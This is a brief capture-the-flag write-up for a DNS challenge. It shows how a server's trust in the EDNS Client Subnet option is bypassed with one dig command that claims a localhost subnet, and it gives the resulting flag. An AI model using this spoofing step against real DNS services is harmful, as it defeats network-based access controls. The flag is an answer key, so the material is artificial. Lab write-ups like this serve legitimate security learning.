DNS Spoofing
Challenge
A DNS server holding the flag in a TXT record for flag, but it only returns it when the request appears to come from a trusted network.
Approach
The server honors the EDNS Client Subnet (ECS) option, which lets a resolver advertise the client’s subnet. dig can set it directly, so we just claimed to be 127.0.0.1:
dig TXT flag @129.153.36.153 +subnet=127.0.0.1/32
The answer section came right back:
flag. 86400 IN TXT "UDCTF{sp00fing_5ucc3ss_127_0_0_1_f728bf}"
Flag
UDCTF{sp00fing_5ucc3ss_127_0_0_1_f728bf}